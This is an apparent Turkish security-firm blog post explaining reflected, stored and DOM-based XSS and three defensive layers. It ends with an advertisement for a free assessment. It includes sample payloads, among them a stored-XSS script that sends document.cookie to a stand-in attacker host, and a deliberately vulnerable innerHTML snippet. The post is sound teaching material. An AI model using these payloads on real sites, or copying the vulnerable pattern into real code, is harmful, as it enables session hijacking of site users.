XSS Türleri: Reflected, Stored ve DOM-Based Farkları
Cross-Site Scripting (XSS), saldırganın kurbanın tarayıcısında JavaScript çalıştırmasına olanak veren bir açıktır. Ama "XSS" tek bir şey değil; zararlı kodun kurbana nasıl ulaştığına göre üç türe ayrılır.
Örnekler yalnızca kendi sisteminizde veya yetkili test kapsamında denenmelidir (TCK 243-244).
1. Reflected XSS (Yansıyan)
Zararlı kod, isteğin bir parçası olarak sunucuya gider ve anında yanıtta geri yansır. Kalıcı değildir; kurbanın hazırlanmış bir bağlantıya tıklaması gerekir.
Örneğin bir arama sayfası, aranan kelimeyi ekrana basıyorsa:
https://ornek.com/ara?q=<script>alert(document.domain)</script>
Uygulama q parametresini denetlemeden basıyorsa, kod çalışır. Saldırı, bu bağlantının kurbana (e-posta/mesajla) gönderilmesiyle gerçekleşir.
2. Stored XSS (Depolanan)
En tehlikeli türdür. Zararlı kod sunucuya kaydedilir (yorum, profil, mesaj) ve o sayfayı açan herkeste çalışır — tıklama gerekmez.
<script>new Image().src='https://saldirgan.ornek/c?'+document.cookie</script>
Bir yorum kutusuna girilen bu kod, yöneticinin oturum çerezini çalabilir. Gerçek bir vaka anlatımı için bu senaryomuza bakın.
3. DOM-Based XSS
Bu türde açık sunucuda değil, tarayıcıdaki JavaScript'tedir. Sunucu hiç zararlı veri görmez; istemci kodu, URL'den aldığı veriyi güvensiz biçimde sayfaya yazar:
// Zayıf kod — konum bilgisini doğrudan sayfaya yazıyor
document.getElementById('selam').innerHTML = location.hash.substring(1);Saldırgan #<img src=x onerror=alert(1)> ekleyerek kodu çalıştırır. Sunucu logunda hiçbir iz olmaz — tespiti bu yüzden zordur.
Farkların Özeti
- Reflected: kod istekte gelir, yanıtta yansır; tıklama gerekir.
- Stored: kod sunucuda saklanır; herkeste çalışır; en tehlikeli.
- DOM-based: açık istemci JavaScript'tedir; sunucu görmez.
Savunma: Üç Katman
1. Çıktı kodlaması (output encoding). Ekrana basılan her kullanıcı verisi kaçış karakterine çevrilmeli. innerHTML yerine textContent kullanın.
2. İçerik Güvenlik Politikası (CSP). script-src 'self' ile satır içi script'leri engelleyin.
3. HttpOnly çerez. Oturum çerezine JavaScript erişemesin — çerez hırsızlığı yükü çalışmaz.
Sonuç
XSS türlerini ayırt etmek, doğru savunmayı seçmenin ön koşuludur — özellikle DOM-based, geleneksel sunucu testlerinden kaçar. Sitenizde kullanıcının yazı girebildiği her alan bir XSS test noktasıdır. REDCELL bu noktaların tamamını yetkili kapsamda test eder — ücretsiz ön değerlendirme.
Sisteminizin güvenliğinden emin misiniz?
Ücretsiz Ön Değerlendirme →